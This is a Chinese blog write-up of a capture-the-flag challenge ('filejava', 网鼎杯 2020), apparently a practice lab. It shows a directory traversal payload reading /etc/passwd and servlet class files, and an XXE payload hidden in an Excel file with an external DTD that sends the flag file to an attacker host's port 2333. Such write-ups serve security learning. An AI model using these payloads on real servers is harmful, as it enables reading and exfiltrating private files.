刷题笔记:[网鼎杯 2020 青龙组]filejava


前言

关键字:[tomcat|CVE-2014-3574|java|excel]

题解

随便上传个文件,发现类似文件包含

尝试

/DownloadServlet?filename=../../../../../../../../../../../../../../../../../../../../../../../../etc/passwd

读取成功。

尝试读取flag提示

输入./,抓包可以看报错,浏览器不行。

/usr/local/tomcat/webapps/ROOT/WEB-INF/upload/1/12/

查一下HTML Markup标签

或者

所以路径为

/usr/local/tomcat/webapps/ROOT/WEB-INF/upload/1/12/

既然是tomcat,第一个要查的自然是WEB-INF/web.xml

访问

../../../web.xml

返回

<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
         version="4.0">
    <servlet>
        <servlet-name>DownloadServlet</servlet-name>
        <servlet-class>cn.abc.servlet.DownloadServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>DownloadServlet</servlet-name>
        <url-pattern>/DownloadServlet</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>ListFileServlet</servlet-name>
        <servlet-class>cn.abc.servlet.ListFileServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>ListFileServlet</servlet-name>
        <url-pattern>/ListFileServlet</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>UploadServlet</servlet-name>
        <servlet-class>cn.abc.servlet.UploadServlet</servlet-class>
    </servlet>

    <servlet-mapping>
        <servlet-name>UploadServlet</servlet-name>
        <url-pattern>/UploadServlet</url-pattern>
    </servlet-mapping>
</web-app>

而这些文件都在WEB-INF/classes下

注意这是java,cn.abc.servlet.DownloadServlet这种形式是包名,所以路径为:

../../../classes/cn/abc/servlet/ListFileServlet.class
../../../classes/cn/abc/servlet/DownloadServlet.class
../../../classes/cn/abc/servlet/UploadServlet.class

可以用Jd-gui-windows反编译,也可以直接用idea。

对excel进行处理。

然后就是百度下java的excel相关漏洞,有很多

具体可见Apache POI XML外部实体(XML External Entity,XXE)攻击详解

加个

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://172.16.173.129/penson.dtd">
%remote;%int;%send;
]>

放到这个文件里

excel文件名字需要改成excel-xxx

因为是内网环境,在buu上开个linux靶机,然后创建个penson.dtd文件,放进去

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://172.16.173.129:2333?p=%file;'>">

然后上传,

得,又打不通,试了半天都不行。

真无语了,一涉及内网,就打不通,这都第三回了。真的烦。


文章作者: 巡璃
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 巡璃 !
评论
  目录